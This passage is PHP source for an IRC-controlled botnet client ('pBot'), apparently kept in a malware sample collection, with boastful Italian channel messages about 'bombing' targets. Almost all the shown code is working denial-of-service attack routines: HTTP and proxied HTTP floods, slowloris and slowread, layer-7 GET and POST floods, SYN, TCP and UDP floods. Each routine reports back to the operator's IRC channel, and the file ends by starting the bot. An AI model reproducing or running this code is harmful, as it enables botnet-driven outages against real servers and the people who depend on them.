"[\2IRC SCHIAVI - HTTP - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)]; $packet = "$method $url HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Keep-Alive: 900\r\n"; $packet .= "Cache-Control: no-cache\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n"; $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"; $packet .= "Connection: keep-alive\r\n"; $packet .= "User-Agent: $user_agent\r\n\r\n"; while (time() - $timei < $time) { $handle = fsockopen($host, $port, $errno, $errstr, 1); fwrite($handle, $packet); } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - HTTP - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function proxyhttpflood($url, $proxyListUrl, $time, $method="GET") { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - PROXYHTTP - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); //Grabbing proxy $proxyList = curl($proxyListUrl); if ($proxyList) { $proxies = explode("\n", $proxyList); if (count($proxies)) { shuffle($proxies); $proxies[0] = trim($proxies[0]); $proxy = explode(":", $proxies[0]); $proxyIp = $proxy[0]; $proxyPort = $proxy[1]; if ($proxyPort && $proxyIp) { $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)]; $packet = "$method $url HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Keep-Alive: 900\r\n"; $packet .= "Cache-Control: no-cache\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n"; $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"; $packet .= "Connection: keep-alive\r\n"; $packet .= "User-Agent: $user_agent\r\n\r\n"; while (time() - $timei < $time) { $handle = fsockopen($proxyIp, $proxyPort, $errno, $errstr, 1); fwrite($handle, $packet); } } else { $this->privmsg($this->config['chan'], "[\2Malformed proxy!\2]"); } } else { $this->privmsg($this->config['chan'], "[\2No proxies found!\2]"); } } else { $this->privmsg($this->config['chan'], "[\2Proxy List not found!\2]"); } $this->privmsg($this->config['chan'], "[\2IRC TERRORIST - HTTP - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!! (Proxy: ".$proxies[0].")!\2]"); } public function tcpflood($host, $port, $time) { $this->privmsg($this->config['chan'], "[\2IRC TERRORIST - TCP - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $packet = ""; for ($i = 0; $i < 65000; $i++) { $packet .= $this->charset[rand(0, strlen($this->charset))]; } while (time() - $timei < $time) { $handle = fsockopen("tcp://".$host, $port, $errno, $errstr, 1); fwrite($handle, $packet); } $this->privmsg($this->config['chan'], "[\2IRC TERRORIST - TCP - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function slowRead($host, $port, $time) { $timei = time(); $fs = array(); //initialize get headers. $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SLOWREAD - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $headers = "GET / HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\r\n\r\n"; while (time() - $timei < $time) { for ($i = 0; $i < 100; $i++) { $fs[$i] = @fsockopen($host, $port, $errno, $errstr); fwrite($fs[$i], $headers); } while (time() - $timei < $time) { for ($i = 0; $i < count($fs); $i++) { if (!$fs[$i]) { $fs[$i] = @fsockopen($host, $port, $errno, $errstr); fwrite($fs[$i], $headers); } fread($fs[$i], 1); } sleep(mt_rand(0.5, 2)); } } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SLOWREAD - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function attack_http($mthd, $server, $time) { $timei = time(); $fs = array(); $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Started On : $server!\2]"); $request = "$mthd / HTTP/1.1\r\n"; $request .= "Host: $server\r\n"; $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"; $request .= "Keep-Alive: 900\r\n"; $request .= "Accept: *.*\r\n"; $timei = time(); for ($i = 0; $i < 100; $i++) { $fs[$i] = @fsockopen($server, 80, $errno, $errstr); } while ((time() - $timei < $time)) { for ($i = 0; $i < 100; $i++) { if (@fwrite($fs[$i], $request)) { continue; } else { $fs[$i] = @fsockopen($server, 80, $errno, $errstr); } } } $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Finished!\2]"); } public function attack_post($server, $host, $time) { $timei = time(); $fs = array(); $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Started On : $server!\2]"); $request = "POST /" . md5(rand()) . " HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"; $request .= "Keep-Alive: 900\r\n"; $request .= "Content-Length: 1000000000\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Accept: *.*\r\n"; for ($i = 0; $i < 100; $i++) { $fs[$i] = @fsockopen($host, 80, $errno, $errstr); } while ((time() - $timei < $time)) { for ($i = 0; $i < 100; $i++) { if (@fwrite($fs[$i], $request)) { continue; } else { $fs[$i] = @fsockopen($host, 80, $errno, $errstr); } } } fclose($sockfd); $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Finished!\2]"); } public function doSlow($host, $time) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SLOWLORIS - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $i = 0; for ($i = 0; $i < 100; $i++) { $fs[$i] = @fsockopen($host, 80, $errno, $errstr); } while ((time() - $timei < $time)) { for ($i = 0; $i < 100; $i++) { $out = "POST / HTTP/1.1\r\n"; $out .= "Host: {$host}\r\n"; $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n"; $out .= "Content-Length: " . rand(1, 1000) . "\r\n"; $out .= "X-a: " . rand(1, 10000) . "\r\n"; if (@fwrite($fs[$i], $out)) { continue; } else { $fs[$i] = @fsockopen($server, 80, $errno, $errstr); } } } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SLOWLORIS - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function syn($host, $port, $time, $delay=1) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SYN - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $socks = array(); while (time() - $timei < $time) { $numsocks++; $socks[$numsocks] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$socks[$numsocks]) continue; @socket_set_nonblock($socks[$numsocks]); for ($j = 0; $j < 20; $j++) @socket_connect($socks[$numsocks], $host, $port); sleep($delay); } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SYN - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!! (".$numsocks." socks created)!\2]"); } public function synflood($host, $port, $delay) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - Syn - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $socks = array(); $numsocks = 0; $numsocks++; $socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if(!$socks[$numsocks]) continue; @socket_set_nonblock($socks[$numsocks]); for($j = 0; $j < 20; $j++) @socket_connect($socks[$numsocks], $host, $port); sleep($delay); for ($j = 0; $j < $numsocks; $j++) { if($socks[$j]) @socket_close($socks[$j]); } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - Syn - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]: Config - For $host:$port."); } public function udpflood($host, $port, $time, $packetsize) { $this->privmsg($this->config['chan'], "[\2 >> Attack started by RT | $host:$port << \2]"); $packet = ""; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(rand(1, 256)); } $end = time() + $time; $i = 0; $fp = fsockopen("udp://" . $host, $port, $e, $s, 5); while (true) { fwrite($fp, $packet); fflush($fp); if ($i % 100 == 0) { if($end < time()) break; } $i++; } fclose($fp); $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config['chan'], "[\2 >> Attack finished - " . $env . " MB sent | Average: " . $vel . " Mbps << \2]"); } public function tcpconn($host, $port, $time) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - TCP - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $end = time() + $time; $i = 0; while ($end > time()) { $fp = fsockopen($host, $port, $dummy, $dummy, 1); fclose($fp); $i++; } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - TCP - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]: sent " . $i . " connections to $host:$port."); } } $bot = new pBot; $bot->start($cfg); function curl($url, $post=array(), $user_agent="", $deleteCookies=false) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_URL, $url); if ($user_agent) { curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); } if (!empty($post)) { curl_setopt($ch,CURLOPT_POST, 1); curl_setopt($ch,CURLOPT_POSTFIELDS, $post); } if ($deleteCookies) { file_put_contents("cookie.txt", ""); } curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); //$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $result; } function get_between($string,$start,$end) { $string = " ".$string; $ini = strpos($string, $start); if($ini==0) return ""; $ini += strlen($start); $len = strpos($string, $end, $ini) - $ini; return substr($string, $ini, $len); } ?>
Copyright (c) 2016 LittleHann All rights reserved